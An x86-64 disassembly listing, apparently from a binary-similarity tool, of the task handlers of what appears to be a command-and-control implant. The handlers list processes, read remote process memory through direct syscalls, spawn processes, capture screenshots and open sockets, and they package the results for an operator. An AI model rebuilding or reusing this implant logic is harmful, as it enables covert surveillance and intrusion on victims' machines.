Similarity

14000d340
14000d340CommandProc:
14000d340push rbp
14000d341mov rbp, rsp
14000d344push r15
14000d346push r14
14000d348push r13
14000d34apush r12
14000d34cpush rdi
14000d34dpush rsi
14000d34epush rbx
14000d34fmov rbx, rcx
14000d352and rsp, -16
14000d356sub rsp, 1168
14000d35dcall ParserGetInt32
14000d362mov ecx, 4112
14000d367mov esi, eax
14000d369call PackageCreate
14000d36emovsx edx, si
14000d371sub esi, 2
14000d374mov rcx, rax
14000d377mov [rsp+72], rax
14000d37ccall PackageAddInt32
14000d381cmp si, 5
14000d385ja 0x14000dc9b
14000d38blea rdx, [rip+0x1908e]
14000d392movzx esi, si
14000d395movsxd rax, [rdx+4*rsi]
14000d399add rax, rdx
14000d39cjmp rax
14000d39elea rcx, [rip+0x18c63]
14000d3a5lea r9, [rip+0x18ee0]
14000d3acmov r8l, 278
14000d3b2lea rdx, [rip+0x1f847]
14000d3b9lea rdi, [rsp+112]
14000d3becall printf
14000d3c3mov esi, [rbx+20]
14000d3c6mov ecx, 12
14000d3cbxor eax, eax
14000d3cdrep stosd [rdi], eax
14000d3cftest esi, esi
14000d3d1je 0x14000d411
14000d3d3mov rcx, rbx
14000d3d6call ParserGetInt32
14000d3dbmov edx, 0x1fffff
14000d3e0mov ecx, eax
14000d3e2mov esi, eax
14000d3e4call ProcessOpen
14000d3e9mov rbx, rax
14000d3ectest rax, rax
14000d3efje 0x14000d415
14000d3f1mov rax, [rip+0x1ef78]
14000d3f8mov ecx, 1
14000d3fdmov rax, [rax+2230]
14000d404mov edx, [rax+104]
14000d407call PackageTransmitError
14000d40cjmp 0x14000dc9b
14000d411
14000d411loc_14000d411:
14000d411or rbx, -1
14000d415
14000d415loc_14000d415:
14000d415xor ecx, ecx
14000d417xor edx, edx
14000d419lea r8, [rsp+112]
14000d41emov r9l, 48
14000d424mov [rsp+32], rcx
14000d429mov rcx, rbx
14000d42ccall SysNtQueryInformationProcess
14000d431test eax, eax
14000d433js 0x14000d5c6
14000d439xor eax, eax
14000d43bmov ecx, 56
14000d440lea r14, [rsp+104]
14000d445xor edx, edx
14000d447mov [rsp+88], rax
14000d44clea rdi, [rsp+160]
14000d454lea r15, [rsp+160]
14000d45cmov [rsp+96], rax
14000d461lea r13, [rsp+648]
14000d469mov [rsp+104], rax
14000d46exor eax, eax
14000d470rep stosd [rdi], eax
14000d472lea rdi, [rsp+648]
14000d47amov ecx, 130
14000d47fmov [rsp+384], rdx
14000d487rep stosd [rdi], eax
14000d489lea rdi, [rsp+400]
14000d491mov ecx, 61
14000d496mov [rsp+392], rdx
14000d49erep stosd [rdi], eax
14000d4a0mov rcx, [rsp+72]
14000d4a5mov edx, esi
14000d4a7call PackageAddInt32
14000d4acmov rax, [rsp+120]
14000d4b1mov [rsp+32], r14
14000d4b6mov rcx, rbx
14000d4b9mov r9l, 8
14000d4bflea r8, [rsp+88]
14000d4c4lea rdx, [rax+24]
14000d4c8call SysNtReadVirtualMemory
14000d4cdtest eax, eax
14000d4cfjs 0x14000d5c6
14000d4d5mov rax, [rsp+88]
14000d4damov r9l, 8
14000d4e0lea r8, [rsp+96]
14000d4e5mov rcx, rbx
14000d4e8lea r12, [rax+32]
14000d4ecxor eax, eax
14000d4eemov [rsp+104], rax
14000d4f3mov rdx, r12
14000d4f6mov [rsp+32], rax
14000d4fbcall SysNtReadVirtualMemory
14000d500test eax, eax
14000d502js 0x14000d5c6
14000d508
14000d508loc_14000d508:
14000d508mov rdx, [rsp+96]
14000d50dcmp rdx, r12
14000d510je 0x14000d5c6
14000d516xor eax, eax
14000d518sub rdx, 16
14000d51cmov r9l, 224
14000d522mov r8, r15
14000d525mov [rsp+32], rax
14000d52amov rcx, rbx
14000d52dcall SysNtReadVirtualMemory
14000d532test eax, eax
14000d534js 0x14000d508
14000d536mov [rsp+32], r14
14000d53bmov rdx, [rsp+240]
14000d543mov r8, r13
14000d546mov rcx, rbx
14000d549movzx r9l, [rsp+232]
14000d552lea rsi, [rsp+384]
14000d55acall SysNtReadVirtualMemory
14000d55fmovzx r8l, [rsp+232]
14000d568test r8w, r8w
14000d56cje 0x14000d59d
14000d56emov rdx, r13
14000d571mov rcx, rsi
14000d574call WCharStringToCharString
14000d579mov rcx, [rsp+72]
14000d57emov rdx, rsi
14000d581mov [rsp+104], rax
14000d586call PackageAddString
14000d58bmov rdx, [rsp+208]
14000d593mov rcx, [rsp+72]
14000d598call PackageAddPtr
14000d59d
14000d59dloc_14000d59d:
14000d59dmov edx, 260
14000d5a2xor eax, eax
14000d5a4mov rdi, r13
14000d5a7mov rcx, rdx
14000d5aarep stosb [rdi], al
14000d5acmov rdi, rsi
14000d5afmov rcx, rdx
14000d5b2rep stosb [rdi], al
14000d5b4mov rax, [rsp+176]
14000d5bcmov [rsp+96], rax
14000d5c1jmp 0x14000d508
14000d5c6
14000d5c6loc_14000d5c6:
14000d5c6or rcx, -1
14000d5catest rbx, rbx
14000d5cdjne 0x14000dc96
14000d5d3jmp 0x14000dc9b
14000d5d8lea r12, [rip+0x1f621]
14000d5dfxor edi, edi
14000d5e1xor esi, esi
14000d5e3xor r13l, r13l
14000d5e6lea r9, [rip+0x18cad]
14000d5edmov r8l, 343
14000d5f3mov rdx, r12
14000d5f6lea rcx, [rip+0x18a0b]
14000d5fdcall printf
14000d602xor eax, eax
14000d604mov ecx, 61
14000d609xor r11l, r11l
14000d60cmov [rsp+648], rdi
14000d614lea rdx, [rsp+96]
14000d619mov [rsp+656], rdi
14000d621lea rdi, [rsp+664]
14000d629rep stosd [rdi], eax
14000d62bmov [rsp+104], r11
14000d630mov rcx, rbx
14000d633mov [rsp+112], r11
14000d638mov [rsp+96], esi
14000d63cmov [rsp+384], r13
14000d644mov [rsp+392], r13
14000d64ccall ParserGetString
14000d651lea rcx, [rsp+104]
14000d656lea rdx, [rsp+112]
14000d65bmov rsi, rax
14000d65ecall ProcessSnapShot
14000d663mov ecx, eax
14000d665test eax, eax
14000d667js 0x14000d853
14000d66dmov r9, [rsp+104]
14000d672mov rdx, r12
14000d675mov r8l, 360
14000d67blea rcx, [rip+0x18c23]
14000d682lea r12, [rsp+648]
14000d68alea r14, [rsp+160]
14000d692call printf
14000d697mov rbx, [rsp+104]
14000d69cmov r13, [rip+0x1eccd]
14000d6a3
14000d6a3loc_14000d6a3:
14000d6a3mov rax, [rsp+104]
14000d6a8mov rcx, r12
14000d6abmov rdx, [rax+64]
14000d6afmovzx r8l, [rax+56]
14000d6b4call WCharStringToCharString
14000d6b9mov r8l, [rsp+96]
14000d6bemov rdx, rsi
14000d6c1mov rcx, r12
14000d6c4call MemCompare
14000d6c9test eax, eax
14000d6cbjne 0x14000d800
14000d6d1xor r10l, r10l
14000d6d4mov rax, [rsp+104]
14000d6d9cmp [r13+92], 2
14000d6desbb edx, edx
14000d6e0mov [rsp+160], r10
14000d6e8and edx, -3072
14000d6eemov ecx, [rax+80]
14000d6f1add edx, 4096
14000d6f7call ProcessOpen
14000d6fcmov rdi, rax
14000d6fftest rax, rax
14000d702je 0x14000d6a3
14000d704mov r8, r14
14000d707mov edx, 8
14000d70cmov rcx, rax
14000d70fcall SysNtOpenProcessToken
14000d714test eax, eax
14000d716js 0x14000d730
14000d718mov rcx, [rsp+160]
14000d720lea rdx, [rsp+384]
14000d728xor r8l, r8l
14000d72bcall TokenQueryOwner
14000d730
14000d730loc_14000d730:
14000d730mov rcx, [rsp+72]
14000d735mov rdx, r12
14000d738call PackageAddString
14000d73dmov rax, [rsp+104]
14000d742mov rcx, [rsp+72]
14000d747mov edx, [rax+80]
14000d74acall PackageAddInt32
14000d74fmov rax, [rsp+104]
14000d754mov rcx, [rsp+72]
14000d759mov edx, [rax+88]
14000d75ccall PackageAddInt32
14000d761mov r8l, [rsp+392]
14000d769mov rcx, [rsp+72]
14000d76emov rdx, [rsp+384]
14000d776call PackageAddBytes
14000d77bmov rcx, rdi
14000d77ecall ProcessIsWow
14000d783mov rcx, [rsp+72]
14000d788cmp eax, 1
14000d78bsbb edx, edx
14000d78dand edx, -22
14000d790add edx, 86
14000d793call PackageAddInt32
14000d798mov rcx, rdi
14000d79bcall SysNtClose
14000d7a0mov rcx, [rsp+160]
14000d7a8test rcx, rcx
14000d7abje 0x14000d7bd
14000d7adcall SysNtClose
14000d7b2xor r9l, r9l
14000d7b5mov [rsp+160], r9
14000d7bd
14000d7bdloc_14000d7bd:
14000d7bdmov rdi, [rsp+384]
14000d7c5test rdi, rdi
14000d7c8je 0x14000d800
14000d7camov ecx, [rsp+392]
14000d7d1xor eax, eax
14000d7d3rep stosb [rdi], al
14000d7d5mov rax, [r13+2230]
14000d7dcmov r8, [rsp+384]
14000d7e4xor edx, edx
14000d7e6mov rax, [rax+96]
14000d7eamov rcx, [rax+48]
14000d7eecall [r13+332]
14000d7f5xor r8l, r8l
14000d7f8mov [rsp+384], r8
14000d800
14000d800loc_14000d800:
14000d800mov rax, [rsp+104]
14000d805mov edx, [rax]
14000d807test edx, edx
14000d809je 0x14000d818
14000d80badd rax, rdx
14000d80emov [rsp+104], rax
14000d813jmp 0x14000d6a3
14000d818
14000d818loc_14000d818:
14000d818test rbx, rbx
14000d81bje 0x14000dc9b
14000d821mov rcx, [rsp+112]
14000d826mov rdi, rbx
14000d829xor eax, eax
14000d82brep stosb [rdi], al
14000d82dmov rax, [rip+0x1eb3c]
14000d834mov r8, rbx
14000d837mov rdx, [rax+2230]
14000d83emov rdx, [rdx+96]
14000d842mov rcx, [rdx+48]
14000d846xor edx, edx
14000d848call [rax+332]
14000d84ejmp 0x14000dc9b
14000d853
14000d853loc_14000d853:
14000d853mov rax, [rip+0x1eb16]
14000d85amov rbx, [rax+2230]
14000d861call [rax+348]
14000d867mov [rbx+104], eax
14000d86ajmp 0x14000dc9b
14000d86flea r9, [rip+0x18a53]
14000d876mov r8l, 431
14000d87clea rdx, [rip+0x1f37d]
14000d883mov r15l, 6
14000d889lea rcx, [rip+0x18778]
14000d890lea rdi, [rsp+648]
14000d898call printf
14000d89dxor eax, eax
14000d89fmov rcx, r15
14000d8a2xor edx, edx
14000d8a4rep stosd [rdi], eax
14000d8a6mov [rsp+160], edx
14000d8adlea rsi, [rip+0x189cd]
14000d8b4mov [rsp+384], edx
14000d8bbmov r15, rcx
14000d8bemov rcx, rbx
14000d8c1call ParserGetInt32
14000d8c6mov rcx, rbx
14000d8c9lea rdx, [rsp+160]
14000d8d1mov r14l, eax
14000d8d4call ParserGetWString
14000d8d9lea rdx, [rsp+384]
14000d8e1mov rcx, rbx
14000d8e4mov r13, rax
14000d8e7call ParserGetWString
14000d8ecmov rcx, rbx
14000d8efmov rdi, rax
14000d8f2call ParserGetInt32
14000d8f7mov rcx, rbx
14000d8famov r12l, eax
14000d8fdcall ParserGetInt32
14000d902cmp [rsp+160], 0
14000d90amov r9l, r14l
14000d90dmov r8l, 449
14000d913cmove r13, r15
14000d917lea rdx, [rip+0x1f2e2]
14000d91ecmp [rsp+384], 0
14000d926mov ebx, eax
14000d928lea rcx, [rip+0x189a7]
14000d92fcmove rdi, r15
14000d933call printf
14000d938mov eax, [rsp+160]
14000d93fmov r9, r13
14000d942mov r8l, 450
14000d948lea rdx, [rip+0x1f2b1]
14000d94flea rcx, [rip+0x189a6]
14000d956mov [rsp+32], eax
14000d95alea r15, [rip+0x18925]
14000d961call printf
14000d966mov eax, [rsp+384]
14000d96dmov r9, rdi
14000d970mov r8l, 451
14000d976lea rdx, [rip+0x1f283]
14000d97dlea rcx, [rip+0x189a4]
14000d984mov [rsp+32], eax
14000d988call printf
14000d98dtest r12l, r12l
14000d990mov r9, r15
14000d993mov [rsp+32], r12l
14000d998cmovne r9, rsi
14000d99cmov r8l, 452
14000d9a2lea rdx, [rip+0x1f257]
14000d9a9lea rcx, [rip+0x189a4]
14000d9b0call printf
14000d9b5test ebx, ebx
14000d9b7mov [rsp+32], ebx
14000d9bbmov r8l, 453
14000d9c1cmovne r15, rsi
14000d9c5lea rdx, [rip+0x1f234]
14000d9cclea rcx, [rip+0x189ac]
14000d9d3mov r9, r15
14000d9d6call printf
14000d9dbxor ecx, ecx
14000d9ddmov [rsp+40], r12l
14000d9e2mov r8, rdi
14000d9e5lea rax, [rsp+648]
14000d9edmov [rsp+48], rcx
14000d9f2mov r9l, r14l
14000d9f5mov rdx, r13
14000d9f8mov [rsp+32], rax
14000d9fdmov ecx, 1
14000da02call ProcessCreate
14000da07mov rcx, [rsp+72]
14000da0cmov rdx, r13
14000da0fmov edi, eax
14000da11call PackageAddWString
14000da16xor edx, edx
14000da18test edi, edi
14000da1aje 0x14000da23
14000da1cmov edx, [rsp+664]
14000da23
14000da23loc_14000da23:
14000da23mov rcx, [rsp+72]
14000da28call PackageAddInt32
14000da2dmov rcx, [rsp+72]
14000da32mov edx, edi
14000da34call PackageAddInt32
14000da39mov rcx, [rsp+72]
14000da3emov edx, r12l
14000da41call PackageAddInt32
14000da46mov rcx, [rsp+72]
14000da4bmov edx, ebx
14000da4dcall PackageAddInt32
14000da52test edi, edi
14000da54je 0x14000dc9b
14000da5amov rcx, [rsp+656]
14000da62call SysNtClose
14000da67test r12l, r12l
14000da6ajne 0x14000da79
14000da6cmov rcx, [rsp+648]
14000da74call SysNtClose
14000da79
14000da79loc_14000da79:
14000da79mov r9l, [rsp+664]
14000da81mov r8l, 470
14000da87lea rdx, [rip+0x1f172]
14000da8elea rcx, [rip+0x18915]
14000da95call printf
14000da9ajmp 0x14000dc9b
14000da9flea r13, [rip+0x1f15a]
14000daa6lea r9, [rip+0x1892d]
14000daadmov r8l, 476
14000dab3mov rdx, r13
14000dab6lea rcx, [rip+0x1854b]
14000dabdlea rdi, [rsp+648]
14000dac5call printf
14000dacamov rcx, rbx
14000dacdlea r14, [rsp+648]
14000dad5call ParserGetInt32
14000dadamov rcx, rbx
14000daddmov r12l, eax
14000dae0call ParserGetInt32
14000dae5mov ecx, 12
14000daeamov edx, 0x1fffff
14000daefmov ebx, eax
14000daf1xor eax, eax
14000daf3rep stosd [rdi], eax
14000daf5xor eax, eax
14000daf7mov ecx, r12l
14000dafamov [rsp+384], rax
14000db02call ProcessOpen
14000db07test rax, rax
14000db0amov rsi, rax
14000db0dje 0x14000dc9b
14000db13mov rcx, [rsp+72]
14000db18mov edx, r12l
14000db1bxor edi, edi
14000db1dlea r12, [rsp+384]
14000db25call PackageAddInt32
14000db2amov rcx, [rsp+72]
14000db2fmov edx, ebx
14000db31call PackageAddInt32
14000db36
14000db36loc_14000db36:
14000db36mov [rsp+40], r12
14000db3bxor r8l, r8l
14000db3emov r9, r14
14000db41mov rdx, rdi
14000db44mov [rsp+32], 48
14000db4dmov rcx, rsi
14000db50call SysNtQueryVirtualMemory
14000db55test eax, eax
14000db57js 0x14000dc08
14000db5dmov rdx, [rsp+648]
14000db65mov rdi, [rsp+672]
14000db6dadd rdi, rdx
14000db70cmp [rsp+688], 0x10000
14000db7bje 0x14000db36
14000db7dcmp [rsp+656], 0
14000db86je 0x14000db36
14000db88test ebx, ebx
14000db8aje 0x14000dbb5
14000db8ccmp [rsp+664], ebx
14000db93jne 0x14000db36
14000db95mov rdx, r13
14000db98mov r9l, ebx
14000db9bmov r8l, 512
14000dba1lea rcx, [rip+0x1883f]
14000dba8call printf
14000dbadmov rdx, [rsp+648]
14000dbb5
14000dbb5loc_14000dbb5:
14000dbb5mov rcx, [rsp+72]
14000dbbacall PackageAddPtr
14000dbbfmov edx, [rsp+672]
14000dbc6mov rcx, [rsp+72]
14000dbcbcall PackageAddInt32
14000dbd0mov edx, [rsp+664]
14000dbd7mov rcx, [rsp+72]
14000dbdccall PackageAddInt32
14000dbe1mov edx, [rsp+680]
14000dbe8mov rcx, [rsp+72]
14000dbedcall PackageAddInt32
14000dbf2mov edx, [rsp+688]
14000dbf9mov rcx, [rsp+72]
14000dbfecall PackageAddInt32
14000dc03jmp 0x14000db36
14000dc08
14000dc08loc_14000dc08:
14000dc08mov rcx, rsi
14000dc0bjmp 0x14000dc96
14000dc10lea r9, [rip+0x187fe]
14000dc17mov r8l, 536
14000dc1dlea rdx, [rip+0x1efdc]
14000dc24lea rcx, [rip+0x183dd]
14000dc2bcall printf
14000dc30mov rcx, rbx
14000dc33call ParserGetInt32
14000dc38mov edx, 1
14000dc3dmov ecx, eax
14000dc3fmov esi, eax
14000dc41call ProcessOpen
14000dc46xor edx, edx
14000dc48mov rbx, rax
14000dc4btest rax, rax
14000dc4ejne 0x14000dc68
14000dc50mov rcx, [rsp+72]
14000dc55call PackageAddInt32
14000dc5amov rcx, [rsp+72]
14000dc5fmov edx, esi
14000dc61call PackageAddInt32
14000dc66jmp 0x14000dc9b
14000dc68
14000dc68loc_14000dc68:
14000dc68mov rcx, rax
14000dc6bmov rax, [rip+0x1e6fe]
14000dc72call [rax+980]
14000dc78mov rcx, [rsp+72]
14000dc7dmov edx, 1
14000dc82call PackageAddInt32
14000dc87mov rcx, [rsp+72]
14000dc8cmov edx, esi
14000dc8ecall PackageAddInt32
14000dc93mov rcx, rbx
14000dc96
14000dc96loc_14000dc96:
14000dc96call SysNtClose
14000dc9b
14000dc9bloc_14000dc9b:
14000dc9bmov rcx, [rsp+72]
14000dca0lea rsp, [rbp-56]
14000dca4pop rbx
14000dca5pop rsi
14000dca6pop rdi
14000dca7pop r12
14000dca9pop r13
14000dcabpop r14
14000dcadpop r15
14000dcafpop rbp
14000dcb0jmp 0x140018b90
14000d340

14000dcb5
14000dcb5 // align 0x10

14000dcc0
14000dcc0CommandProcList:
14000dcc0push r15
14000dcc2push r14
14000dcc4push r13
14000dcc6push r12
14000dcc8push rbp
14000dcc9push rdi
14000dccapush rsi
14000dccbmov rsi, rcx
14000dccexor ecx, ecx
14000dcd0push rbx
14000dcd1sub rsp, 120
14000dcd5mov [rsp+72], rcx
14000dcdalea rdx, [rsp+80]
14000dcdfmov [rsp+80], rcx
14000dce4mov [rsp+88], rcx
14000dce9mov [rsp+96], rcx
14000dceemov [rsp+104], rcx
14000dcf3lea rcx, [rsp+72]
14000dcf8call ProcessSnapShot
14000dcfdmov rbx, [rip+0x1e66c]
14000dd04test eax, eax
14000dd06js 0x14000df43
14000dd0cmov rax, [rsp+80]
14000dd11mov r9, [rsp+72]
14000dd16lea rbp, [rip+0x1eeb3]
14000dd1dmov r8l, 587
14000dd23mov rdx, rbp
14000dd26lea rcx, [rip+0x18447]
14000dd2dlea r13, [rip+0x184ad]
14000dd34mov [rsp+32], rax
14000dd39lea r14, [rip+0x18480]
14000dd40lea r15, [rip+0x182c1]
14000dd47call printf
14000dd4cmov ecx, 12
14000dd51mov r12, [rsp+72]
14000dd56call PackageCreate
14000dd5bmov rcx, rsi
14000dd5exor esi, esi
14000dd60mov [rsp+56], rax
14000dd65call ParserGetInt32
14000dd6amov rcx, [rsp+56]
14000dd6fmov edx, eax
14000dd71call PackageAddInt32
14000dd76
14000dd76loc_14000dd76:
14000dd76cmp [rbx+92], 2
14000dd7amov rax, [rsp+72]
14000dd7fsbb edx, edx
14000dd81mov ecx, [rax+80]
14000dd84and edx, -3072
14000dd8aadd edx, 4096
14000dd90call ProcessOpen
14000dd95mov rdi, rax
14000dd98test rax, rax
14000dd9bje 0x14000de14
14000dd9dlea r8, [rsp+88]
14000dda2mov edx, 8
14000dda7mov rcx, rax
14000ddaacall SysNtOpenProcessToken
14000ddafmov r9l, eax
14000ddb2test eax, eax
14000ddb4js 0x14000ddf9
14000ddb6mov rcx, [rsp+88]
14000ddbbxor r8l, r8l
14000ddbelea rdx, [rsp+96]
14000ddc3call TokenQueryOwner
14000ddc8test eax, eax
14000ddcajne 0x14000dde1
14000ddcclea r9, [rip+0x183ca]
14000ddd3mov r8l, 613
14000ddd9mov rdx, rbp
14000dddcmov rcx, r15
14000dddfjmp 0x14000ddf2
14000dde1
14000dde1loc_14000dde1:
14000dde1mov r9, [rsp+96]
14000dde6mov r8l, 615
14000ddecmov rdx, rbp
14000ddefmov rcx, r14
14000ddf2
14000ddf2loc_14000ddf2:
14000ddf2call printf
14000ddf7jmp 0x14000de0a
14000ddf9
14000ddf9loc_14000ddf9:
14000ddf9mov r8l, 618
14000ddffmov rdx, rbp
14000de02mov rcx, r13
14000de05call printf
14000de0a
14000de0aloc_14000de0a:
14000de0amov rcx, rdi
14000de0dcall ProcessIsWow
14000de12mov esi, eax
14000de14
14000de14loc_14000de14:
14000de14mov rax, [rsp+72]
14000de19mov rcx, [rsp+56]
14000de1emovzx r8l, [rax+56]
14000de23mov rdx, [rax+64]
14000de27call PackageAddBytes
14000de2cmov rax, [rsp+72]
14000de31mov rcx, [rsp+56]
14000de36mov edx, [rax+80]
14000de39call PackageAddInt32
14000de3emov rcx, [rsp+56]
14000de43mov edx, esi
14000de45call PackageAddInt32
14000de4amov rax, [rsp+72]
14000de4fmov rcx, [rsp+56]
14000de54mov edx, [rax+88]
14000de57call PackageAddInt32
14000de5cmov rax, [rsp+72]
14000de61mov rcx, [rsp+56]
14000de66mov edx, [rax+100]
14000de69call PackageAddInt32
14000de6emov rax, [rsp+72]
14000de73mov rcx, [rsp+56]
14000de78mov edx, [rax+4]
14000de7bcall PackageAddInt32
14000de80mov rdx, [rsp+96]
14000de85mov r8l, [rsp+104]
14000de8amov rcx, [rsp+56]
14000de8fcall PackageAddBytes
14000de94mov rdx, [rsp+72]
14000de99mov eax, [rbx+76]
14000de9ccmp [rdx+80], rax
14000dea0je 0x14000deaa
14000dea2mov rcx, rdi
14000dea5call SysNtClose
14000deaa
14000deaaloc_14000deaa:
14000deaamov rcx, [rsp+88]
14000deaftest rcx, rcx
14000deb2je 0x14000deb9
14000deb4call SysNtClose
14000deb9
14000deb9loc_14000deb9:
14000deb9mov rdi, [rsp+96]
14000debetest rdi, rdi
14000dec1je 0x14000def4
14000dec3mov ecx, [rsp+104]
14000dec7xor eax, eax
14000dec9rep stosb [rdi], al
14000decbmov rax, [rbx+2230]
14000ded2xor edx, edx
14000ded4mov r8, [rsp+96]
14000ded9mov rax, [rax+96]
14000deddmov rcx, [rax+48]
14000dee1call [rbx+332]
14000dee7xor eax, eax
14000dee9xor edx, edx
14000deebmov [rsp+96], rax
14000def0mov [rsp+104], edx
14000def4
14000def4loc_14000def4:
14000def4mov rax, [rsp+72]
14000def9mov edx, [rax]
14000defbtest edx, edx
14000defdje 0x14000df0c
14000deffadd rax, rdx
14000df02mov [rsp+72], rax
14000df07jmp 0x14000dd76
14000df0c
14000df0cloc_14000df0c:
14000df0cmov rcx, [rsp+56]
14000df11call PackageTransmit
14000df16test r12, r12
14000df19je 0x14000df57
14000df1bmov rcx, [rsp+80]
14000df20mov rdi, r12
14000df23xor eax, eax
14000df25rep stosb [rdi], al
14000df27mov rax, [rbx+2230]
14000df2emov r8, r12
14000df31xor edx, edx
14000df33mov rax, [rax+96]
14000df37mov rcx, [rax+48]
14000df3bcall [rbx+332]
14000df41jmp 0x14000df57
14000df43
14000df43loc_14000df43:
14000df43mov ecx, eax
14000df45call [rbx+348]
14000df4bmov ecx, 1
14000df50mov edx, eax
14000df52call PackageTransmitError
14000df57
14000df57loc_14000df57:
14000df57add rsp, 120
14000df5bpop rbx
14000df5cpop rsi
14000df5dpop rdi
14000df5epop rbp
14000df5fpop r12
14000df61pop r13
14000df63pop r14
14000df65pop r15
14000df67ret
14000dcc0

14000df68
14000df68 // align 0x10

14000df70
14000df70CommandScreenshot:
14000df70push rdi
14000df71lea rdi, [rip+0x1f448]
14000df78lea r9, [rip+0x19089]
14000df7fmov r8l, 2024
14000df85push rsi
14000df86lea rsi, [rip+0x1807b]
14000df8dmov rdx, rdi
14000df90push rbx
14000df91mov rcx, rsi
14000df94sub rsp, 48
14000df98call printf
14000df9dmov ecx, 2510
14000dfa2call PackageCreate
14000dfa7lea rdx, [rsp+40]
14000dfaclea rcx, [rsp+32]
14000dfb1mov rbx, rax
14000dfb4xor eax, eax
14000dfb6mov [rsp+32], rax
14000dfbbmov [rsp+40], rax
14000dfc0call WinScreenshot
14000dfc5test eax, eax
14000dfc7je 0x14000e002
14000dfc9lea r9, [rip+0x19043]
14000dfd0mov r8l, 2033
14000dfd6mov rdx, rdi
14000dfd9mov rcx, rsi
14000dfdccall printf
14000dfe1mov rcx, rbx
14000dfe4mov edx, 1
14000dfe9call PackageAddInt32
14000dfeemov r8, [rsp+40]
14000dff3mov rdx, [rsp+32]
14000dff8mov rcx, rbx
14000dffbcall PackageAddBytes
14000e000jmp 0x14000e024
14000e002
14000e002loc_14000e002:
14000e002mov rdx, rdi
14000e005mov rcx, rsi
14000e008lea r9, [rip+0x1901f]
14000e00fmov r8l, 2039
14000e015call printf
14000e01axor edx, edx
14000e01cmov rcx, rbx
14000e01fcall PackageAddInt32
14000e024
14000e024loc_14000e024:
14000e024mov rcx, rbx
14000e027call PackageTransmit
14000e02cadd rsp, 48
14000e030pop rbx
14000e031pop rsi
14000e032pop rdi
14000e033ret
14000df70

14000e034
14000e034 // align 0x10

14000e040
14000e040CommandSleep:
14000e040push rdi
14000e041mov rdi, rcx
14000e044mov ecx, 11
14000e049push rsi
14000e04apush rbx
14000e04bsub rsp, 32
14000e04fcall PackageCreate
14000e054mov rcx, rdi
14000e057mov rsi, rax
14000e05acall ParserGetInt32
14000e05fmov rbx, [rip+0x1e30a]
14000e066mov rcx, rdi
14000e069lea rdi, [rip+0x1ed90]
14000e070mov [rbx+96], eax
14000e073call ParserGetInt32
14000e078mov r9l, [rbx+96]
14000e07cmov rdx, rdi
14000e07fmov r8l, 186
14000e085lea rcx, [rip+0x17f90]
14000e08cmov [rbx+100], eax
14000e08fcall printf
14000e094mov r9l, [rbx+100]
14000e098mov rdx, rdi
14000e09bmov r8l, 187
14000e0a1lea rcx, [rip+0x17f9d]
14000e0a8call printf
14000e0admov edx, [rbx+96]
14000e0b0mov rcx, rsi
14000e0b3call PackageAddInt32
14000e0b8mov edx, [rbx+100]
14000e0bbmov rcx, rsi
14000e0becall PackageAddInt32
14000e0c3add rsp, 32
14000e0c7mov rcx, rsi
14000e0capop rbx
14000e0cbpop rsi
14000e0ccpop rdi
14000e0cdjmp 0x140018b90
14000e040

14000e0d2
14000e0d2 // align 0x10

14000e0e0
14000e0e0CommandSocket:
14000e0e0push rbp
14000e0e1mov rbp, rsp
14000e0e4push r15
14000e0e6push r14
14000e0e8push r13
14000e0eapush r12
14000e0ecpush rdi
14000e0edpush rsi
14000e0eepush rbx
14000e0efmov rbx, rcx
14000e0f2mov ecx, 2540
14000e0f7and rsp, -16
14000e0fbsub rsp, 96
14000e0ffcall PackageCreate
14000e104mov rcx, rbx
14000e107mov [rsp+72], rax
14000e10ccall ParserGetInt32
14000e111mov rcx, [rsp+72]
14000e116mov esi, eax
14000e118mov edx, esi
14000e11acall PackageAddInt32
14000e11fcmp esi, 20
14000e122ja 0x14000e728
14000e128lea rdx, [rip+0x192b1]
14000e12fmovsxd rax, [rdx+4*rsi]
14000e133add rax, rdx
14000e136jmp rax
14000e138lea r9, [rip+0x190bb]
14000e13fmov r8l, 2689
14000e145lea rdx, [rip+0x1efb4]
14000e14clea rcx, [rip+0x17eb5]
14000e153call printf
14000e158mov rcx, rbx
14000e15bcall ParserGetInt32
14000e160mov rcx, rbx
14000e163mov r12l, eax
14000e166call ParserGetInt32
14000e16bmov rcx, rbx
14000e16emov edi, eax
14000e170call ParserGetInt32
14000e175mov rcx, rbx
14000e178mov esi, eax
14000e17acall ParserGetInt32
14000e17fmov [rsp+40], esi
14000e183xor r9l, r9l
14000e186xor ecx, ecx
14000e188mov [rsp+48], eax
14000e18cmov r8l, r12l
14000e18fmov edx, 1
14000e194mov r13l, eax
14000e197mov [rsp+32], edi
14000e19bcall SocketNew
14000e1a0xor edx, edx
14000e1a2mov rcx, [rsp+72]
14000e1a7test rax, rax
14000e1aamov rbx, rax
14000e1adsetne dl
14000e1b0call PackageAddInt32
14000e1b5xor edx, edx
14000e1b7test rbx, rbx
14000e1baje 0x14000e1be
14000e1bcmov edx, [rbx]
14000e1be
14000e1beloc_14000e1be:
14000e1bemov rcx, [rsp+72]
14000e1c3call PackageAddInt32
14000e1c8mov rcx, [rsp+72]
14000e1cdmov edx, r12l
14000e1d0call PackageAddInt32
14000e1d5mov rcx, [rsp+72]
14000e1damov edx, edi
14000e1dccall PackageAddInt32
14000e1e1mov rcx, [rsp+72]
14000e1e6mov edx, esi
14000e1e8call PackageAddInt32
14000e1edmov edx, r13l
14000e1f0jmp 0x14000e66f
14000e1f5lea r9, [rip+0x19012]
14000e1fcmov r8l, 2724
14000e202lea rdx, [rip+0x1eef7]
14000e209lea rcx, [rip+0x17df8]
14000e210call printf
14000e215mov rax, [rip+0x1e154]
14000e21cmov rbx, [rax+2326]
14000e223
14000e223loc_14000e223:
14000e223test rbx, rbx
14000e226je 0x14000e728
14000e22ccmp [rbx+16], 1
14000e230jne 0x14000e272
14000e232mov edx, [rbx]
14000e234mov rcx, [rsp+72]
14000e239call PackageAddInt32
14000e23emov edx, [rbx+20]
14000e241mov rcx, [rsp+72]
14000e246call PackageAddInt32
14000e24bmov edx, [rbx+32]
14000e24emov rcx, [rsp+72]
14000e253call PackageAddInt32
14000e258mov edx, [rbx+36]
14000e25bmov rcx, [rsp+72]
14000e260call PackageAddInt32
14000e265mov edx, [rbx+40]
14000e268mov rcx, [rsp+72]
14000e26dcall PackageAddInt32
14000e272
14000e272loc_14000e272:
14000e272mov rbx, [rbx+48]
14000e276jmp 0x14000e223
14000e278lea rdx, [rip+0x1ee81]
14000e27flea r9, [rip+0x18f9d]
14000e286mov r8l, 2752
14000e28clea rcx, [rip+0x17d75]
14000e293call printf
14000e298mov rcx, rbx
14000e29bcall ParserGetInt32
14000e2a0mov rdx, [rip+0x1e0c9]
